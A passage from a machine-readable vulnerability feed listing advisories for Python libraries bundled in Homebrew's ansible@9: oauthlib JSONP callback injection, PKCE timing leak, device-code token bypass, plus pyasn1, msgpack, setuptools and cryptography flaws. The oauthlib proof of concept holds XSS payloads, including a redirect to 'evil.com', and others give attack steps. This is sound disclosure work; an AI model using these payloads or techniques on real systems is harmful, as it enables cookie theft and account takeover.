install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n    \"\"\"Auth fails -> triggers error response path (lines 72-73).\"\"\"\n    def client_authentication_required(self, request, *a, **kw): return True\n    def authenticate_client(self, request, *a, **kw): return False\n    def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n    \"\"\"Auth passes -> triggers success response path (lines 81-82).\"\"\"\n    def client_authentication_required(self, request, *a, **kw): return False\n    def authenticate_client_id(self, client_id, request, *a, **kw): return True\n    def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n    \"alert(document.cookie)//\",\n    \"window.location='https://evil.com/'//\",\n    \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_fail.create_revocation_response(\n        \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n    assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_pass.create_revocation_response(\n        \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n    assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n    \"https://auth.example.com/revoke\", http_method=\"POST\",\n    body=\"token=x&callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\"  [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n  [401] Content-Type: application/json  Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n  [401] Content-Type: application/json  Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n  [401] Content-Type: application/json  Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n  [200] Content-Type: (none)  Body: alert(document.cookie)//();\n  [200] Content-Type: (none)  Body: window.location='https://evil.com/'//();\n  [200] Content-Type: (none)  Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n  [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n    if not JSONP_CALLBACK_PATTERN.match(request.callback):\n        request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49264"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/951"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-49265","published":"2026-09-30T18:43:46Z","modified":"2026-10-14T08:46:39Z","upstream":["GHSA-xpv3-w29h-x7cv","CVE-2026-49265","PYSEC-2026-4114"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@3.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"3.3.1","key":"pkg:pypi/oauthlib@3.3.1","resource":"oauthlib"}]},"summary":"Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)","details":"## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n> **Note:** Practical exploitability is limited due to the single-use nature of \n> authorization codes and real-world network noise. However, the vulnerable \n> pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49265"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/963"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4114.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-49272","published":"2026-10-28T08:37:42Z","modified":"2026-11-09T08:45:08Z","upstream":["GHSA-3jp2-3mrg-2vxc","CVE-2026-49272"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.13.0_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.1","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@3.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"3.3.1","key":"pkg:pypi/oauthlib@3.3.1","resource":"oauthlib"}]},"summary":"OAuthLib: Bearer token can be retrieved as long as client knows a valid client ID for device workflow","details":"### Summary\nA call to the token endpoint with a grant type of `\"urn:ietf:params:oauth:grant-type:device_code\"` and a bogus `device_code` is able to get a bearer token as long as they know a valid client ID enabled for the device workflow.\n\n### Details\n\n[Section 3.4 of the RFC 8628 spec](https://datatracker.ietf.org/doc/html/rfc8628#section-3.4) says that the token endpoint should take in `device_code` as a required parameter.`DeviceCodeGrant.validate_token_request` does not perform any validation of `device_code`. `DeviceCodeGrant.validate_token_request` should be validating that `device_code` was passed in as a parameter and that it is valid, similar to how `AuthorizationCodeGrant.validate_token_request` does the checks [here](https://github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L446) and [here](https://github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L483).\n\nI would like to propose a new method be added to `RequestValidator` called `validate_device_code` that is similar to the `validate_code` method and is called inside of `DeviceCodeGrant.validate_token_request`.\n\n### PoC\nCreate an implementation of `RequestValidation.authenticate_client` that returns `True` if the client's `client_type` is `\"public\"`. You would find yourself in this scenario because there's another issue with `DeviceCodeGrant.validate_token_request` where it doesn't properly handle public clients (see https://github.com/oauthlib/oauthlib/issues/919).\n\nCreate a client that has a `client_type` of `\"public\"` and set it's `grant_type` to `\"urn:ietf:params:oauth:grant-type:device_code\"`.\n\nWith this implementation of `RequestValidation.authenticate_client` done, use that validator for your token endpoint. Call the token endpoint with a body of \n```\n{\n  \"client_id\": <ID of the public client you made>,\n  \"grant_type\": \"urn:ietf:params:oauth:grant-type:device_code\",\n  \"device_code\": <anything you want since it's not validated>\n}\n```\n\nYou now have a bearer token for the client without a valid `device_code`.\n\n\n### Impact\nAnyone using the RFC 8628 device workflow in oauthlib that doesn't realize the `device_code` parameter is not being validated.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/954"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/releases/tag/v4.0.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-57585","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:29Z","upstream":["GHSA-6v7p-g79w-8964","CVE-2026-57585","PYSEC-2026-3625"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.2.1","resource":"msgpack","resource_purl":"pkg:pypi/msgpack@1.1.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"msgpack","subject_version":"1.1.2","key":"pkg:pypi/msgpack@1.1.2","resource":"msgpack"}]},"summary":"MessagePack for Python: Out-of-bounds read / crash on Unpacker reuse after a caught error","details":"### Impact\n\nIf the Unpacker is used repeatedly after an error occurs, the process may crash with a SEGV.\n\nIf the Unpacker is used repeatedly to unpack untrusted input from external sources, it may be vulnerable to a DoS attack.\n\n### Patches\n\nv1.2.1\n\n### Workarounds\n\nUsers should create a new Unpacker instead of reusing the same Unpacker after an error occurs.\n\nApplying the above patch can prevent SEGV, but reusing the Streaming Unpacker after it has encountered an error will not yield correct data. If an error occurs during Streaming Unpacking, the Stream and Streaming Unpacker should be discarded.\n\nTherefore, this is not just a workaround but the correct solution. The above patch only prevents crashes from incorrect usage.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/security/advisories/GHSA-6v7p-g79w-8964"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/commit/2c56ddb5d0025ed481d962c0f5d62d19dec7476d"},{"type":"PACKAGE","url":"https://github.com/msgpack/msgpack-python"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/releases/tag/v1.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-59884","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:30Z","upstream":["GHSA-m4p7-r5rc-7g4j","CVE-2026-59884","PYSEC-2026-3455"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1 BER/CER/DER decoder denial of service via unbounded long-form tag IDs","details":"### Impact\nThe BER decoder (shared by the CER and DER codecs) parses long-form tags by accumulating continuation octets in a loop with no upper bound on the size of the tag ID. A crafted input can force the decoder to build an arbitrarily large integer, with CPU cost growing quadratically in input size — a ~1 MB input consumes over a minute of CPU. On Python 3.11+, the oversized tag ID can also trigger an unhandled `ValueError` (integer string conversion limit) while the decoder formats error messages, violating the documented `PyAsn1Error` contract and potentially bypassing caller error handling.\n\nAny application decoding untrusted BER/CER/DER input is affected.\n\n### Affected components\n- `pyasn1.codec.ber.decoder` — `decode()` and `StreamingDecoder`\n- `pyasn1.codec.cer.decoder` and `pyasn1.codec.der.decoder`, which inherit\n  the same tag parsing\n- `pyasn1.type.tag` — `Tag`/`TagSet` reprs could raise `ValueError` when\n  rendering oversized tag IDs (reachable through decoder error paths)\n\nThe encoders and the `pyasn1.codec.native` codec are not affected.\n\n### Patches\nFixed in 0.6.4. Long-form tag IDs are now limited to 20 octets (140-bit tag IDs, matching the existing OID arc limit); oversized tags are rejected with `PyAsn1Error`. Tag ID rendering in reprs and error messages was additionally hardened against the interpreter's integer-to-string conversion limit.\n\n### Workarounds\nBound the size of untrusted input passed to `decode()` before calling it.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-m4p7-r5rc-7g4j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59884"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/628e36ecbb5277a3f01572ce418ef54271b165a5"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-3455.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-59885","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:30Z","upstream":["GHSA-8ppf-4f7h-5ppj","CVE-2026-59885","PYSEC-2026-3456"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service","details":"### Impact\nThe BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.\n\nThe arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.\n\n### Affected components\nObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.\n\n### Patches\nFixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.\n\n### Workarounds\nLimit the size of untrusted ASN.1 input before decoding.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59885"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-59886","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:30Z","upstream":["GHSA-hm4w-wwcw-mr6r","CVE-2026-59886","PYSEC-2026-3457"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1: Uncontrolled resource consumption when converting decoded REAL values","details":"### Impact\nThe univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.\n\nAny operation that triggers float conversion on such a decoded value — prettyPrint(), str(), comparison, arithmetic, or an explicit float() call — consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.\n\n### Affected components\n- pyasn1.type.univ.Real — float conversion (__float__() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())\n- Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values\n\nThe encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.\n\n### Patches\nFixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as <overflow>.\n\n### Workarounds\nAvoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59886"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-59890","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:31Z","upstream":["GHSA-h35f-9h28-mq5c","BIT-setuptools-2026-59890","CVE-2026-59890","PYSEC-2026-3447"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"83.0.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@80.9.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"80.9.0","key":"pkg:pypi/setuptools@80.9.0","resource":"setuptools"}]},"summary":"setuptools: MANIFEST.in exclusion bypass in sdist via Unicode normalization collision (NFC/NFD) on macOS APFS/HFS+","details":"## Summary\n\nWhen building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index.\n\n## Details\n\nFile names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:\n\n```python\n# setuptools/command/egg_info.py  (FileList.global_exclude)\ndef global_exclude(self, pattern):\n    match = translate_pattern(os.path.join('**', pattern))   # fnmatch.translate -> regex, no NFC/NFD\n    return self._remove_files(match.match)                   # byte-level regex over raw os.walk names\n```\n\nA rule written NFC (`café` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`café` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file.\n\nA `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes→str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred.\n\n## Impact\n\n`MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.\n\n## Proof of concept\n\nWith a project containing `MANIFEST.in`:\n\n```\nglobal-include *.txt *.json\nglobal-exclude secret_café.txt    # rule saved NFC\n```\n\nand an on-disk file `secret_café.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.\n\n## Remediation\n\nNormalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS.\n\n## Credit\n\nReported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-h35f-9h28-mq5c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59890"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/dd9f436a36486b4cb8a4c70a2321548b0be09b8f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2026-3447.yaml"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/releases/tag/v83.0.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-69247","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:28Z","upstream":["GHSA-g6cj-pr64-35w5","CVE-2026-69247","PYSEC-2026-3552"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.13.0_2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"50.0.0","resource":"cryptography","resource_purl":"pkg:pypi/cryptography@46.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"cryptography","subject_version":"46.0.3","key":"pkg:pypi/cryptography@46.0.3","resource":"cryptography"}]},"summary":"cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing","details":"### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of decrypting a `RecipientInfo`'s `encryptedKey` in several\ndistinguishable ways, one of which disclosed the exact length recovered from the\nRSA operation. The same distinction was also observable by timing. An\napplication that decrypts attacker-supplied `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed in 50.0.0.\n\n### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt of `encryptedKey` → build an AES\ncipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218 mitigation:\n\n1. invalid RSA padding → `Decryption failed`\n2. valid padding, bad key length → `Invalid key size (N) for AES.`, disclosing `N`\n3. correct length, wrong key → `Invalid padding bytes.`\n4. the real key → plaintext\n\nCase 1 is reachable only where the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a synthetic plaintext of\npseudorandom length, so the error channel does not distinguish conforming\nciphertexts.\n\nExploitation requires a service that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate and answers adaptively at high volume, such as\nan S/MIME gateway or mail filter.\n\n### Fix\n\nPer RFC 3218, the content-encryption algorithm is now resolved before the\nprivate key is used, so the expected key length is known in advance. If the RSA\ndecryption fails or recovers a key of the wrong length, a random key of the\nexpected length is substituted and decryption continues down an identical path.\nAll failures now report identically and perform the same work.\n\n### Not addressed by this fix\n\n`EnvelopedData` does not authenticate its content. Tampering with\n`encryptedContent` alone yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries per byte, without recovering any key, on every backend. This\nis a property of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library, and is now documented.\n\n### Credit\n\nReported by 